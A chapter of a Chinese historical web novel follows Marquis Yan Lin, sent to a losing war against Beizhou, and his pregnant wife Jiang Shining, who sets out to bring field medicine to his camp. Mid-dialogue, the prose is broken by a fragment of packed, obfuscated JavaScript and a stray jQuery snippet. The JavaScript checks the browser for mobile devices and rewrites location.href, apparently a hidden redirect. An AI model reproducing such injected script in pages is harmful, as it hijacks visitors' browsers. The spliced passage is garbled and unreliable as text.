又过四日，大理寺并未证明燕临的清白，可也没能查出燕临杀害叶酥的其他罪证。


    叶平成老谋深算，察觉出此事有不对的地方，也上了奏表，愿让燕临归家自省，其余交由大理寺继续审理查清。满朝哗然，江鸿章为首的一党纷纷以首叩地，称不忍叶家郎君死得不明不白，劝谏陛下不可轻易放了嚣张跋扈的岐侯归家。


    正当圣上裁决不下之时，北周举兵来犯，兵临国土边境的溧阳城下，将士们苦苦抵抗，却始终未有破解敌军阵数之道。


    似乎上苍都是极垂怜燕临的，天降祸事，朝中无一人敢站出来向陛下保证自己能全胜而归。毕竟此次敌军不是平素的叛党余孽，那可是赫赫有名的北周。那片土地之上，曾出过一统天下的周成王，出过因无人可继承大统而临朝称制二十三年，于乱世之中力挽狂澜的司马太后。


    而今战况危急，千里饿殍，武将们借机，纷纷跪地请求陛下派燕临上战场抵御外敌、将功折罪。


    江鸿章不肯罢休，称燕临若出了上京城的地界，若是逃了去该如何是好。薛延上前反驳，双膝跪地，将手交叠举起，开口道：


    “陛下，岐侯家眷皆在上京城中，陵阳还有燕氏族人一百一十二口，这都是能牵制他的人。更何况，岐侯一门，三代男儿战场杀敌，为我朝效力至今几十载，他断不是那等抛妻弃子、不顾百姓安危，贪生怕死之人。”


    江鸿章还想反驳些什么，却被薛延先一步堵住：


    “难不成御史大人觉得，陛下看人不准，竟将三地兵马、高官厚禄封给如此草菅人命之辈吗！”


    一句下去，满朝皆静寂，一时间，再无人敢提着笏板出来，附议江鸿章的话。


    “薛爱卿所言有理。既如此，便叫岐侯先行赶往北周战场支援罢。”


    江鸿章还想说些什么，帝王威仪却毫不容情，帝言：


    “朕知晓你想说什么，你想说他戴罪之身，不能再以神策将军之名号出征。朕用人不疑，况且此事还未有定论，即便是朕，也无权在臣子无定罪之时，随意罢黜臣子权利封号。江爱卿有心了，只是这件事不必再提。”


    见燕临依旧深得帝王油护佑，江鸿章也深知，此时不适宜再多言语，免得激怒龙颜，便是得不偿失。于是拱手称是，悻悻退回了文官一列。


    此后，燕临便即刻从大理寺出，并未归家，速速到了北周战场。十五日后，燕临快马报信，称已抵达，但情况不容乐观。


    江诗宁决意留下，这是谁都未曾想到的决定。


    萧老夫人也忍不住询问她为何愿意留在侯府，江晗宁也以为她是舍不得岐侯府中的身份和富贵，但江诗宁却言，她虽心中失望于燕临，可绝没有在岐侯府危难之时撒手而去的道理。


    是以，她留了下来。


    肚子渐渐隆起，刚开始江晗宁还以为她是吃得胖了些，后来便发觉不对，猜测江诗宁是坏了身孕。她算着日子，以为江诗宁是在燕临城外打仗之时与叶酥苟且怀上的，偏她又一心为着燕诏，私底下同燕诏说了去，叫他好一阵数落。


    江晗宁并未死心，一日用膳之时，她当着全家的面诘问亲姐，被陆夫人骂了个狗血淋头。这回倒好，陆夫人挑明了孩子身世，反叫江诗宁完全安了心，不必再遮掩下去。


    自她有孕后，萧老夫人也柔和许多，这毕竟是她孙儿唯一的血脉，她心底还是感谢江诗宁，没有在那时拿掉孩子的。


    入夜，连东院也折腾后熄了灯，江诗宁独自一人坐在榻上收拾包袱。


    她环顾四周，竟没有一件属于自己的物件可以带走，她拥有的一切，都是燕临赠她的，唯有几件江府带来的陪嫁首饰是沈宁的遗物，她一同带了来，其余一切，似乎都不完全算是属于她的。


    “诗诗，可睡下了？”


    门外，陆夫人见屋里只有两支蜡烛燃着，停在门口处问询。


    “未曾，母亲请进。”


    她回应，陆夫人便轻手轻脚地推开门入了室内。见她这副模样，陆夫人知晓她是要走的，却也不立刻劝阻，依旧坐在床榻边缘。


    “你嫁入府中一年有余，我身为婆母，也未曾如何照应于你，还让你平白受了这许多委屈，是我这做长辈的不是。”


    江诗宁放下手中衣物，拍了拍陆夫人的手，轻言安慰：


    “母亲哪里的话，儿媳这样的身份，母亲没有怨恨于儿媳，还将儿媳视作女儿般，十分照拂，儿媳感谢还来不及，怎会觉得母亲不好。”


    陆夫人摇摇头，叹了口气，道：


    “明夷，他很不好。”


    江诗宁一时没听清，待反应过来之时，很是不敢信。


    “君侯怎么了？”


    陆夫人点点头，道：


    “是薛延提议，才给了明夷戴罪立功的机会。可你不知，北周之地向来富庶，兵马排练也都是极有章法的，明夷曾同我说过，四海之内唯有北周能与我朝抗衡，可两国土间利益捆绑，从未有过战事。如今北周突然挑衅，怕是奔着一统天下而来啊！”


    “明夷此番已去了三个月有余，往日里，捷报该是连连传回的，可朝中却无半点风声。我去寻了薛延问来，连他也不知名夷情况如何，怕是万分凶险，性命有危了。”


    江诗宁深深地呼吸了几口，又抚着肚子安慰自己的情绪，这才道：


    “母亲，我这便是要去寻他的。”


    陆夫人扭过头来，抓着她的手臂激动道：


    “不可啊！我知你是担心明夷，可北周千里之遥，你又大着肚子，一路舟车劳顿，累坏了身体不说，也要近一月才能到，何苦啊！”


    江诗宁握紧了婆母的手。


    “母亲当我不知道吗？全家就瞒着我一个，我权当你们是为着我养胎了。可君侯如此危险，薛延昨日被我私下逼问才告知，军中将士损失几万余人，伤残更是不计其数，可北周人竟堵截了我们的运粮路，使药品不能到军营之中，无数将士熬在那里等死。”


    “我不能不去。”


    陆夫人道：


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167436|164912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“可你去了也无济于事，你要如何送药进去？”


    江诗宁却笑着，眼神明亮，道：


    “我娘亲出阁前，家中祖母的娘家是做药材生意的，父亲爱喝我娘亲那一口菊花酒，便是因为其中加了滋补身子、调养精神的几味药材，因此无法模仿。娘亲得了曾外祖母真传，我也学了个皮毛。”


    “想来是命中注定，娘亲留下的钱财尽数被我那继母搜罗去了，唯有菊花酒的配方和几本医书，因着不值几个银钱，留给了我。我家中父母族三代以前皆是武将，军中受伤是常有的事，可难免遇到荒野之地，药物送达不及时的情形，总是可惜了那些士兵白白送命。因此，曾外祖母心疼夫君征战多危险，便亲自跋山涉水，遍寻野外花草的效用。”


    说到此处，陆夫人的眼中显现出一丝希望来。


    “曾外祖母将花草药用画在书中，我幼时反反复复地看，倒是记下个十成□□。北周始祖为东边的游牧族出身，读书不多，以武力取胜，开疆拓土，眼下传承至今也并未将文官重视起来，倒是一个可攻之处。”


    陆夫人开口问：


    “是有办法的？”


    江诗宁莞尔道：


    “是，儿媳虽不能将朝廷的现药送进去，但可以亲自到北周之地，到君侯的安营地附近搜寻可入药的花草，制成一些简单的止血药，以此应急。北周人只守着那条官道，却不能近身到军营监察，如此，儿媳便可一试，只是不知北周的花草与我朝会否出入太大。”


    闻听如此喜讯，陆夫人喜不自胜，可更多的还是担心江诗宁的安危。


    此次一行，异常艰难，为着避免被人起疑，江诗宁只带了薛延一人，漏夜匆匆走了，一路到了上京城边上的客栈附近，才敢买了新的车马上路。


    江诗宁不会骑马，可又不能太过耀眼，薛延便找来了最简陋的单乘车马，江诗宁坐在其中也只是刚好容纳其中，薛延便化身成了马夫，为江诗宁开路。


    从上京城一路向东而去，刚开始的那七日，二人走了官道，路途平坦，倒是无事。可出了崎县，便要抄近路，走那些坑坑洼洼的小路上了。江诗宁怀着身孕，薛延不敢纵马过快，可二人心中也焦急万分。


    车马摇摇晃晃，到了第二十日，终于能从临安郡眺望到远处的大片荒地。而到达那里，便是烽火狼烟。


    江诗宁心中稍稍安心，如此，再有三日便能到了。


    到了第二日，出了城门，若再要马车前行，怕是太过瞩目。江诗宁主动提及步行而去，虽薛延拒绝了，可也觉有礼，终究还是弃掉车马，护着江诗宁前行。


    山路崎岖，便是薛延这样的军中汉子，走得久了也难免口渴腿酸。他跟在江诗宁身后保护着，却从未听她喊过劳累。要知晓她如今怀着近七个月的身孕，挺着肚子更是沉重不堪，尤其她深闺长大，哪里吃过这样的苦？


    江诗宁拄着一根粗树枝一步步走着，她的额上尽是豆大的汗珠凝结成小溪，绕过她的眉眼，顺着苍白的容颜滴落在地。